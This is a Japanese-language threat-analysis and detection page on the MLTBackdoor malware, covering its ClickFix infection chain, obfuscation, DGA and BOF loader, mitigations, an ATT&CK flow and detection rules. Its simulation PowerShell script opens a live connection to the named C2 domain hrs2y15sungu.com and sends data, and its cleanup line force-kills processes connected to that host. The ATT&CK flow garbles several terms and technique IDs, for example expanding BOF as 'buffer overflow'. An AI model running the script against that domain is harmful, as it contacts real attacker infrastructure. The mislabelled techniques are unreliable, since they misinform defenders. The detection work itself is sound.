MLTBackdoorの技術分析
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Zscaler ThreatLabzは、2026年5月に新たなマルウェアファミリー「MLTBackdoor」を特定しました。この脅威は多段階のClickFix感染チェーンを通じて配信され、ランサムウェア運用者による初期アクセスの確立や横移動のサポートに使用されているようです。このマルウェアは、強力な難読化、ドメイン生成アルゴリズム、およびBeacon Object File (BOF) ローダーに依存して、実行後に機能を拡張します。ネットワーク通信はTLSで暗号化されており、正規のMicrosoft Delivery Optimizationトラフィックに似せることで、通常のネットワーク動作に溶け込むように設計されています。
調査
分析は感染チェーンを conhost.exe ラッパーが、マルウェアの DGA ロジックで生成されたドメインから圧縮アーカイブをダウンロードするというところまで遡りました。そのアーカイブ内で、 endpointdlp.dll がRC4で暗号化されたペイロードを復号し、その後MLTBackdoorバイナリとしてロードされます。研究者は、このマルウェアが混合ブール算術、制御フローのフラッテン化、間接システムコール、およびカスタム暗号通信プロトコルを使用して、解析や検出を妨げることを確認しました。組み込まれたBOFローダーも、運用者が追加のCobalt Strikeスタイルのモジュールをメモリ内で実行できるようにします。
緩和策
防御者は、特定されたコマンド・アンド・コントロールドメインをブロックし、関連するDGAパターンを監視する必要があります。また、特定のユーザーエージェント文字列や、 /api/v1/telemetry ポート 443へのTLSトラフィックを狙って検出する必要があります。セキュリティチームは、ドキュメント化された引数を使用して conhost.exe を不審に使用するケースや、一時ディレクトリ内の endpointdlp.dll の作成を監視すべきです。APIハッシングや間接システムコールの使用に対する行動ベースの検出は、MLTBackdoor活動の可視性をさらに向上させることができます。
対応
MLTBackdoorの活動が検出された場合、直ちに影響を受けたエンドポイントを隔離し、悪意のあるプロセスを終了させ、初期ローダーによってドロップされた Temp ディレクトリ内のファイルを削除する必要があります。調査チームはその後、さらなるBOFモジュールや後続のペイロードについて法医分析を行うべきです。潜在的に漏洩した認証情報はリセットされるべきで、同じ手法を使用した横移動の試みを特定するために脅威ハンティングを拡大しなければなりません。
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes step_a["<b>Technique</b> – <b>T1189 ドライブバイ妥協</b>: 攻撃者は、被害者が妥協されたウェブサイトを訪れると配信される悪意のあるコンテンツをホスティングします。<br/><b>Technique</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b>: 被害者がペイロードの実行を引き起こす作成済みリンクをクリックします。"] class step_a action step_b["<b>Technique</b> – <b>T1659 コンテンツ注入</b>: 正当なウェブページに悪意のコードが注入され、訪問者が妥協されたコンテンツを受信するようにします。"] class step_b action step_c["<b>Technique</b> – <b>T1553.002 署名済みバイナリプロキシ実行(Defender)</b>: Microsoft Defenderの署名済みバイナリを使用してプロキシ実行します。<br/><b>Technique</b> – <b>T1574.001 実行フローハイジャック: DLL検索順序のハイジャック</b>: DLL解決順序を操作して悪意のコードをロードします。<br/><b>Technique</b> – <b>T1218 署名済みバイナリプロキシ実行</b>: 信頼された署名済みバイナリを通じてペイロードを実行します。"] class step_c action step_d["<b>Technique</b> – <b>T1027.007 難読化/保存されたファイル: 埋め込まれたペイロード</b>: マクロバイナリ分析 (MBA) と圧縮ファイル形式 (CFF) を使用してペイロードが難読化され、検出を回避します。"] class step_d action step_e["<b>Technique</b> – <b>T1497.001 仮想化/サンドボックス回避: システムチェック</b>: 仮想化環境をチェックします。<br/><b>Technique</b> – <b>T1497.003 仮想化/サンドボックス回避: 時間チェック</b>: 分析を検出するためのタイミングチェックを使用します。<br/><b>Technique</b> – <b>T1622 デバッガー回避</b>: デバッガーの存在を検出し、動作を変更します。"] class step_e action step_f["<b>Technique</b> – <b>T1568 ドメイン名の生成、難読化、または変更</b>: コマンドu2011アンドu2011コントロール用に多数のドメイン名を生成します。<br/><b>Technique</b> – <b>T1104 ウェブサービス(フォールバックC2)</b>: フォールバック通信チャネルとしてウェブサービスを使用します。"] class step_f action step_g["<b>Technique</b> – <b>T1090 プロキシ</b>: プロキシを通じてC2トラフィックをルートします。<br/><b>Technique</b> – <b>T1205 トラフィックシグナリング</b>: 正当なトラフィック内にシグナリング情報をエンコードします。<br/><b>Technique</b> – <b>T1001.003 難読化/暗号化されたネットワークトラフィック: プロトコルの偽装</b>: 通常のTLS 443トラフィックとして偽装し、ユーザーu2011エージェントを偽装します。"] class step_g action step_h["<b>Technique</b> – <b>T1105 イングレスツール転送</b>: ネットワークを介して侵害されたホストに第2u2011ステージのペイロードを転送します。"] class step_h action step_i["<b>Technique</b> – <b>T1546.006 イベントトリガー実行: コンポーネントオブジェクトモデルのハイジャック(BOFローダー)</b>: バッファーu2011オーバーフロー(BOF)ローダーを使用してビーコンオブジェクトファイルをロードおよび実行します。"] class step_i malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i "
攻撃フロー
検出
圧縮ユーティリティが普通でないディレクトリを通過(cmdline経由)
表示
LOLBAS Conhost(cmdline経由)
表示
不審なCURL使用(cmdline経由)
表示
MLTBackdoorの技術解析パート2を検出するためのIOCs (HashSha256)
表示
MLTBackdoorの技術解析パート1を検出するためのIOCs (HashSha256)
表示
MLTBackdoorネットワーク通信を検出する [Windowsネットワーク接続]
表示
MLTBackdoor感染チェーンの実行 [Windowsプロセス生成]
表示
シミュレーション実行
前提条件: Telemetry & Baseline Pre‑flight Checkが合格している必要があります。
理由: このセクションは、検出ルールを引き起こすために設計された攻撃者技術(TTP)の正確な実行を詳述します。コマンドと説明は、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目標とする必要があります。抽象的または無関係な例は診断ミスを引き起こします。
-
攻撃の流れとコマンド:
- 偵察 – DGAドメインを解決する – バックドアは、
hrs2y15sungu.comという内部DGAによって生成されたドメインのDNSクエリを生成します。 - C2コンタクト – TCPソケットを開く – PowerShellを使用して、攻撃者は、リゾルブされたIPにポート443(HTTPS)で生のTCP接続を作成し、通常のトラフィックと一体化します。
- ペイロードの取得 (T1105) – 同じソケットを介してバックドアが追加モジュールを取得しますが、テストでは単に無害な文字列を送信します。
これらのステップは、Sysmon Event ID 3の記録を発行し、
DestinationHostname = hrs2y15sungu.comになり、Sigmaルールの選択条件を満たします。 - 偵察 – DGAドメインを解決する – バックドアは、
-
回帰テストスクリプト:
# TC-20260610-A7B3Z – MLTBackdoorのC2通信をシミュレーション # ------------------------------------------------------- # 1. 悪意のあるドメインを解決する(シミュレートされたDGA出力) $malDomain = "hrs2y15sungu.com" try { $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString } catch { Write-Error "Failed to resolve $malDomain – aborting test." exit 1 } # 2. 解決されたIPにポート443でTCP接続を開く $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($ip, $port) # 3. 無害なペイロードを送信する(モジュールフェッチをシミュレート) $stream = $client.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD") $stream.Write($payload, 0, $payload.Length) # 4. ログ生成を保証するために接続を短時間開いたままにする Start-Sleep -Seconds 5 # 5. クリーンアップ $stream.Close() $client.Close() Write-Output "Simulation completed – connection to $malDomain ($ip:$port) closed." -
クリーンアップコマンド:
# スクリプトが中断した場合に備えて、残っているソケットがないことを確認します Get-NetTCPConnection -RemotePort 443 | Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }